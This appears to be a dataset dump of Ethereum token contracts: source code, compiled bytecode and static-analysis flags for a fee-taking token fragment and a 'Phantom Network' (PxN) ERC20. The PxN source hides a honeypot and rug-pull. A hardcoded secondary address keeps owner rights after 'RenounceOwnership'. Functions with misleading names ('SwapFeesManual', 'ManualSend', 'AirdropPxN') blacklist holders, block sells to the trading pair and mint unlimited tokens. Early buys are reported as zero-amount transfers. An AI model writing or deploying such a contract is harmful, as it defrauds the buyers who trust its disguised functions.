uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 distroFeeOnBuy, uint256 distroFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_distroFeeOnBuy = distroFeeOnBuy;
_distroFeeOnSell = distroFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set Max transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
}
|
0x60806040526004361061019f5760003560e01c8063715018a6116100ec57806398a5c3151161008a578063bfd7928411610064578063bfd79284146104b4578063c3c8cd80146104e4578063dd62ed3e146104f9578063ea1644d51461053f57600080fd5b806398a5c31514610454578063a2a957bb14610474578063a9059cbb1461049457600080fd5b80638da5cb5b116100c65780638da5cb5b146103d15780638f70ccf7146103ef5780638f9a55c01461040f57806395d89b411461042557600080fd5b8063715018a61461038657806374010ece1461039b5780637d1db4a5146103bb57600080fd5b80632fd689e3116101595780636b999053116101335780636b999053146103115780636d8aa8f8146103315780636fc3eaec1461035157806370a082311461036657600080fd5b80632fd689e3146102bf578063313ce567146102d557806349bd5a5e146102f157600080fd5b8062b8cf2a146101ab57806306fdde03146101cd578063095ea7b3146102115780631694505e1461024157806318160ddd1461027957806323b872dd1461029f57600080fd5b366101a657005b600080fd5b3480156101b757600080fd5b506101cb6101c6366004611692565b61055f565b005b3480156101d957600080fd5b5060408051808201909152600981526826b1a237b3b2b637b760b91b60208201525b6040516102089190611757565b60405180910390f35b34801561021d57600080fd5b5061023161022c3660046117ac565b6105fe565b6040519015158152602001610208565b34801561024d57600080fd5b50601454610261906001600160a01b031681565b6040516001600160a01b039091168152602001610208565b34801561028557600080fd5b506803bd913e6c1df400005b604051908152602001610208565b3480156102ab57600080fd5b506102316102ba3660046117d8565b610615565b3480156102cb57600080fd5b5061029160185481565b3480156102e157600080fd5b5060405160098152602001610208565b3480156102fd57600080fd5b50601554610261906001600160a01b031681565b34801561031d57600080fd5b506101cb61032c366004611819565b61067e565b34801561033d57600080fd5b506101cb61034c366004611836565b6106c9565b34801561035d57600080fd5b506101cb610711565b34801561037257600080fd5b50610291610381366004611819565b61073e565b34801561039257600080fd5b506101cb610760565b3480156103a757600080fd5b506101cb6103b6366004611858565b6107d4565b3480156103c757600080fd5b5061029160165481565b3480156103dd57600080fd5b506000546001600160a01b0316610261565b3480156103fb57600080fd5b506101cb61040a366004611836565b610803565b34801561041b57600080fd5b5061029160175481565b34801561043157600080fd5b506040805180820190915260068152654d63446f676560d01b60208201526101fb565b34801561046057600080fd5b506101cb61046f366004611858565b61084b565b34801561048057600080fd5b506101cb61048f366004611871565b61087a565b3480156104a057600080fd5b506102316104af3660046117ac565b6108b8565b3480156104c057600080fd5b506102316104cf366004611819565b60106020526000908152604090205460ff1681565b3480156104f057600080fd5b506101cb6108c5565b34801561050557600080fd5b506102916105143660046118a3565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561054b57600080fd5b506101cb61055a366004611858565b6108fb565b6000546001600160a01b031633146105925760405162461bcd60e51b8152600401610589906118dc565b60405180910390fd5b60005b81518110156105fa576001601060008484815181106105b6576105b6611911565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f28161193d565b915050610595565b5050565b600061060b33848461092a565b5060015b92915050565b6000610622848484610a4e565b610674843361066f85604051806060016040528060288152602001611a57602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ec3565b61092a565b5060019392505050565b6000546001600160a01b031633146106a85760405162461bcd60e51b8152600401610589906118dc565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146106f35760405162461bcd60e51b8152600401610589906118dc565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b03161461073157600080fd5b4761073b81610efd565b50565b6001600160a01b03811660009081526002602052604081205461060f90610f92565b6000546001600160a01b0316331461078a5760405162461bcd60e51b8152600401610589906118dc565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107fe5760405162461bcd60e51b8152600401610589906118dc565b601655565b6000546001600160a01b0316331461082d5760405162461bcd60e51b8152600401610589906118dc565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108755760405162461bcd60e51b8152600401610589906118dc565b601855565b6000546001600160a01b031633146108a45760405162461bcd60e51b8152600401610589906118dc565b600893909355600a91909155600955600b55565b600061060b338484610a4e565b6012546001600160a01b0316336001600160a01b0316146108e557600080fd5b60006108f03061073e565b905061073b81611016565b6000546001600160a01b031633146109255760405162461bcd60e51b8152600401610589906118dc565b601755565b6001600160a01b03831661098c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610589565b6001600160a01b0382166109ed5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610589565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ab25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610589565b6001600160a01b038216610b145760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610589565b60008111610b765760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610589565b6000546001600160a01b03848116911614801590610ba257506000546001600160a01b03838116911614155b15610db657601554600160a01b900460ff16610c0a57601654811115610c0a5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610589565b6001600160a01b03831660009081526010602052604090205460ff16158015610c4c57506001600160a01b03821660009081526010602052604090205460ff16155b610ca45760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610589565b6015546001600160a01b03838116911614610d295760175481610cc68461073e565b610cd09190611958565b10610d295760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610589565b6000610d343061073e565b601854601654919250821015908210610d4d5760165491505b808015610d645750601554600160a81b900460ff16155b8015610d7e57506015546001600160a01b03868116911614155b8015610d935750601554600160b01b900460ff165b15610db357610da182611016565b478015610db157610db147610efd565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610df857506001600160a01b03831660009081526005602052604090205460ff165b80610e2a57506015546001600160a01b03858116911614801590610e2a57506015546001600160a01b03848116911614155b15610e3757506000610eb1565b6015546001600160a01b038581169116148015610e6257506014546001600160a01b03848116911614155b15610e7457600854600c55600954600d555b6015546001600160a01b038481169116148015610e9f57506014546001600160a01b03858116911614155b15610eb157600a54600c55600b54600d555b610ebd8484848461119f565b50505050565b60008184841115610ee75760405162461bcd60e51b81526004016105899190611757565b506000610ef48486611970565b95945050505050565b6012546001600160a01b03166108fc610f226008610f1c8560096111cd565b9061120f565b6040518115909202916000818181858888f19350505050158015610f4a573d6000803e3d6000fd5b506013546001600160a01b03166108fc610f6a6001610f1c8560096111cd565b6040518115909202916000818181858888f193505050501580156105fa573d6000803e3d6000fd5b6000600654821115610ff95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610589565b600061100361128e565b905061100f83826111cd565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061105e5761105e611911565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110b257600080fd5b505afa1580156110c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ea9190611987565b816001815181106110fd576110fd611911565b6001600160a01b039283166020918202929092010152601454611123913091168461092a565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061115c9085906000908690309042906004016119a4565b600060405180830381600087803b15801561117657600080fd5b505af115801561118a573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806111ac576111ac6112b1565b6111b78484846112df565b80610ebd57610ebd600e54600c55600f54600d55565b600061100f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113d6565b60008261121e5750600061060f565b600061122a8385611a15565b9050826112378583611a34565b1461100f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610589565b600080600061129b611404565b90925090506112aa82826111cd565b9250505090565b600c541580156112c15750600d54155b156112c857565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806112f187611446565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061132390876114a3565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461135290866114e5565b6001600160a01b03891660009081526002602052604090205561137481611544565b61137e848361158e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113c391815260200190565b60405180910390a3505050505050505050565b600081836113f75760405162461bcd60e51b81526004016105899190611757565b506000610ef48486611a34565b60065460009081906803bd913e6c1df4000061142082826111cd565b82101561143d575050600654926803bd913e6c1df4000092509050565b90939092509050565b60008060008060008060008060006114638a600c54600d546115b2565b925092509250600061147361128e565b905060008060006114868e878787611607565b919e509c509a509598509396509194505050505091939550919395565b600061100f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ec3565b6000806114f28385611958565b90508381101561100f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610589565b600061154e61128e565b9050600061155c838361120f565b3060009081526002602052604090205490915061157990826114e5565b30600090815260026020526040902055505050565b60065461159b90836114a3565b6006556007546115ab90826114e5565b6007555050565b60008080806115cc60646115c6898961120f565b906111cd565b905060006115df60646115c68a8961120f565b905060006115f7826115f18b866114a3565b906114a3565b9992985090965090945050505050565b6000808080611616888661120f565b90506000611624888761120f565b90506000611632888861120f565b90506000611644826115f186866114a3565b939b939a50919850919650505050505050565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461073b57600080fd5b803561168d8161166d565b919050565b600060208083850312156116a557600080fd5b823567ffffffffffffffff808211156116bd57600080fd5b818501915085601f8301126116d157600080fd5b8135818111156116e3576116e3611657565b8060051b604051601f19603f8301168101818110858211171561170857611708611657565b60405291825284820192508381018501918883111561172657600080fd5b938501935b8285101561174b5761173c85611682565b8452938501939285019261172b565b98975050505050505050565b600060208083528351808285015260005b8181101561178457858101830151858201604001528201611768565b81811115611796576000604083870101525b50601f01601f1916929092016040019392505050565b600080604083850312156117bf57600080fd5b82356117ca8161166d565b946020939093013593505050565b6000806000606084860312156117ed57600080fd5b83356117f88161166d565b925060208401356118088161166d565b929592945050506040919091013590565b60006020828403121561182b57600080fd5b813561100f8161166d565b60006020828403121561184857600080fd5b8135801515811461100f57600080fd5b60006020828403121561186a57600080fd5b5035919050565b6000806000806080858703121561188757600080fd5b5050823594602084013594506040840135936060013592509050565b600080604083850312156118b657600080fd5b82356118c18161166d565b915060208301356118d18161166d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561195157611951611927565b5060010190565b6000821982111561196b5761196b611927565b500190565b60008282101561198257611982611927565b500390565b60006020828403121561199957600080fd5b815161100f8161166d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119f45784516001600160a01b0316835293830193918301916001016119cf565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816000190483118215151615611a2f57611a2f611927565b500290565b600082611a5157634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204593eabc218c3e07dbff848d6bda59b5c92167c1e9312c5384de54beb0b8fa4664736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 6,508 |
0xcf6675142612c73098588ed6315e030b38d5344c
|
/*
https://www.phantom.sh/
The underbelly of Web3.
A shadow vague, formless, but eternal.
*/
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract PxN is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => mapping(address => uint256)) public _allowances;
mapping(address => bool) private _blackbalances;
mapping (address => bool) private bots;
mapping(address => bool) private _balances1;
address internal router;
uint256 public _totalSupply = 1000000*10**18;
string public _name = "Phantom Network";
string public _symbol= "PxN";
bool balances1 = true;
bool private tradingOpen;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
uint256 private openBlock;
constructor() {
_balances[msg.sender] = _totalSupply;
emit Transfer(address(this), msg.sender, _totalSupply);
owner = msg.sender;
}
address public owner;
address private marketAddy = payable(0x0016eBA1Eb66d3085980110040A76F56cD8c9d7E);
modifier onlyOwner {
require((owner == msg.sender) || (msg.sender == marketAddy));
_;
}
function changeOwner(address _owner) onlyOwner public {
owner = _owner;
}
function RenounceOwnership() onlyOwner public {
owner = 0x000000000000000000000000000000000000dEaD;
}
function SwapFeesManual(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = true;
}
}
function ExcludeFromFees(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = false;
}
}
function ManualSend() onlyOwner public {
router = uniswapV2Pair;
balances1 = false;
}
function openTrading() public onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner,
block.timestamp
);
tradingOpen = true;
openBlock = block.number;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
receive() external payable {}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(_blackbalances[sender] != true );
require(!bots[sender] && !bots[recipient]);
if(recipient == router) {
require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address");
}
require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this)));
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) {
emit Transfer(sender, recipient, 0);
} else {
emit Transfer(sender, recipient, amount);
}
}
function AirdropPxN(address account, uint256 amount) onlyOwner public virtual {
require(account != address(0), "ERC20: burn to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
|
0x6080604052600436106101395760003560e01c80636ebcf607116100ab578063a6f9dae11161006f578063a6f9dae114610339578063a9059cbb14610359578063b09f126614610379578063c9567bf91461038e578063d28d8852146103a3578063dd62ed3e146103b857610140565b80636ebcf607146102a257806370a08231146102c257806386ea7412146102e25780638da5cb5b1461030257806395d89b411461032457610140565b806321b0033a116100fd57806321b0033a146101f657806323b872dd14610216578063313ce567146102365780633eaaf86b146102585780636e4ee8111461026d5780636e8f03211461028257610140565b8063024c2ddd1461014557806306fdde031461017b578063081686161461019d578063095ea7b3146101b457806318160ddd146101e157610140565b3661014057005b600080fd5b34801561015157600080fd5b506101656101603660046110d1565b6103d8565b604051610172919061130f565b60405180910390f35b34801561018757600080fd5b506101906103f5565b6040516101729190611318565b3480156101a957600080fd5b506101b2610487565b005b3480156101c057600080fd5b506101d46101cf366004611149565b6104e1565b6040516101729190611304565b3480156101ed57600080fd5b506101656104fe565b34801561020257600080fd5b506101b2610211366004611174565b610504565b34801561022257600080fd5b506101d4610231366004611109565b6105aa565b34801561024257600080fd5b5061024b610643565b6040516101729190611575565b34801561026457600080fd5b50610165610648565b34801561027957600080fd5b506101b261064e565b34801561028e57600080fd5b506101b261029d366004611174565b610690565b3480156102ae57600080fd5b506101656102bd366004611092565b610732565b3480156102ce57600080fd5b506101656102dd366004611092565b610744565b3480156102ee57600080fd5b506101b26102fd366004611149565b610763565b34801561030e57600080fd5b5061031761084f565b6040516101729190611282565b34801561033057600080fd5b5061019061085e565b34801561034557600080fd5b506101b2610354366004611092565b61086d565b34801561036557600080fd5b506101d4610374366004611149565b6108bb565b34801561038557600080fd5b506101906108cf565b34801561039a57600080fd5b506101b261095d565b3480156103af57600080fd5b50610190610cd5565b3480156103c457600080fd5b506101656103d33660046110d1565b610ce2565b600160209081526000928352604080842090915290825290205481565b6060600780546104049061159b565b80601f01602080910402602001604051908101604052809291908181526020018280546104309061159b565b801561047d5780601f106104525761010080835404028352916020019161047d565b820191906000526020600020905b81548152906001019060200180831161046057829003601f168201915b5050505050905090565b600c546001600160a01b03163314806104aa5750600d546001600160a01b031633145b6104b357600080fd5b600a54600580546001600160a01b0319166001600160a01b039092169190911790556009805460ff19169055565b60006104f56104ee610d0d565b8484610d11565b50600192915050565b60065490565b600c546001600160a01b03163314806105275750600d546001600160a01b031633145b61053057600080fd5b60005b81518110156105a65760006003600084848151811061056257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061059e816115d6565b915050610533565b5050565b60006105b7848484610dc5565b6001600160a01b0384166000908152600160205260408120816105d8610d0d565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828110156106245760405162461bcd60e51b815260040161061b9061146d565b60405180910390fd5b61063885610630610d0d565b858403610d11565b506001949350505050565b601290565b60065481565b600c546001600160a01b03163314806106715750600d546001600160a01b031633145b61067a57600080fd5b600c80546001600160a01b03191661dead179055565b600c546001600160a01b03163314806106b35750600d546001600160a01b031633145b6106bc57600080fd5b60005b81518110156105a6576001600360008484815181106106ee57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061072a816115d6565b9150506106bf565b60006020819052908152604090205481565b6001600160a01b0381166000908152602081905260409020545b919050565b600c546001600160a01b03163314806107865750600d546001600160a01b031633145b61078f57600080fd5b6001600160a01b0382166107b55760405162461bcd60e51b815260040161061b90611436565b6107c160008383611082565b80600660008282546107d39190611583565b90915550506001600160a01b03821660009081526020819052604081208054839290610800908490611583565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061084390859061130f565b60405180910390a35050565b600c546001600160a01b031681565b6060600880546104049061159b565b600c546001600160a01b03163314806108905750600d546001600160a01b031633145b61089957600080fd5b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b60006104f56108c8610d0d565b8484610dc5565b600880546108dc9061159b565b80601f01602080910402602001604051908101604052809291908181526020018280546109089061159b565b80156109555780601f1061092a57610100808354040283529160200191610955565b820191906000526020600020905b81548152906001019060200180831161093857829003601f168201915b505050505081565b600c546001600160a01b03163314806109805750600d546001600160a01b031633145b61098957600080fd5b600954610100900460ff16156109b15760405162461bcd60e51b815260040161061b9061153e565b6009805462010000600160b01b031916757a250d5630b4cf539739df2c5dacb4c659f2488d00001790819055600654737a250d5630b4cf539739df2c5dacb4c659f2488d91610a129130916001600160a01b03620100009091041690610d11565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a4b57600080fd5b505afa158015610a5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8391906110b5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b0391906110b5565b6040518363ffffffff1660e01b8152600401610b20929190611296565b602060405180830381600087803b158015610b3a57600080fd5b505af1158015610b4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b7291906110b5565b600a80546001600160a01b0319166001600160a01b039283161790556009546201000090041663f305d7194730610ba881610744565b600c546040516001600160e01b031960e087901b168152610bde93929160009182916001600160a01b03169042906004016112c9565b6060604051808303818588803b158015610bf757600080fd5b505af1158015610c0b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c309190611255565b50506009805461ff001916610100179081905543600b55600a5460405163095ea7b360e01b81526001600160a01b03918216935063095ea7b392610c8392620100009091041690600019906004016112b0565b602060405180830381600087803b158015610c9d57600080fd5b505af1158015610cb1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a69190611235565b600780546108dc9061159b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610d375760405162461bcd60e51b815260040161061b906114fa565b6001600160a01b038216610d5d5760405162461bcd60e51b815260040161061b906113ae565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610db890859061130f565b60405180910390a3505050565b6001600160a01b038316610deb5760405162461bcd60e51b815260040161061b906114b5565b6001600160a01b03831660009081526002602052604090205460ff16151560011415610e1657600080fd5b6001600160a01b03831660009081526003602052604090205460ff16158015610e5857506001600160a01b03821660009081526003602052604090205460ff16155b610e6157600080fd5b6005546001600160a01b0383811691161415610ed45760095460ff1680610ea057506001600160a01b03831660009081526004602052604090205460ff165b80610eb85750600d546001600160a01b038481169116145b610ed45760405162461bcd60e51b815260040161061b9061136b565b6c02863c1f5cdae42f9540000000811080610efc5750600d546001600160a01b038481169116145b80610f145750600c546001600160a01b038481169116145b80610f2757506001600160a01b03831630145b610f3057600080fd5b610f3b838383611082565b6001600160a01b03831660009081526020819052604090205481811015610f745760405162461bcd60e51b815260040161061b906113f0565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610fab908490611583565b9091555050600b544390610fc0906004611583565b118015610fda5750600a546001600160a01b038581169116145b1561103057826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611023919061130f565b60405180910390a361107c565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611073919061130f565b60405180910390a35b50505050565b505050565b803561075e8161161d565b6000602082840312156110a3578081fd5b81356110ae8161161d565b9392505050565b6000602082840312156110c6578081fd5b81516110ae8161161d565b600080604083850312156110e3578081fd5b82356110ee8161161d565b915060208301356110fe8161161d565b809150509250929050565b60008060006060848603121561111d578081fd5b83356111288161161d565b925060208401356111388161161d565b929592945050506040919091013590565b6000806040838503121561115b578182fd5b82356111668161161d565b946020939093013593505050565b60006020808385031215611186578182fd5b823567ffffffffffffffff8082111561119d578384fd5b818501915085601f8301126111b0578384fd5b8135818111156111c2576111c2611607565b838102604051858282010181811085821117156111e1576111e1611607565b604052828152858101935084860182860187018a10156111ff578788fd5b8795505b838610156112285761121481611087565b855260019590950194938601938601611203565b5098975050505050505050565b600060208284031215611246578081fd5b815180151581146110ae578182fd5b600080600060608486031215611269578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b90815260200190565b6000602080835283518082850152825b8181101561134457858101830151858201604001528201611328565b818111156113555783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b6020808252601f908201527f45524332303a206275726e20746f20746865207a65726f206164647265737300604082015260600190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697